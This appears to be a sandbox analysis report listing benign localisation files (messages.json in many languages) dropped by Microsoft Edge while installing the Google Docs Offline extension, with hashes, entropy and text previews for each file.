SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
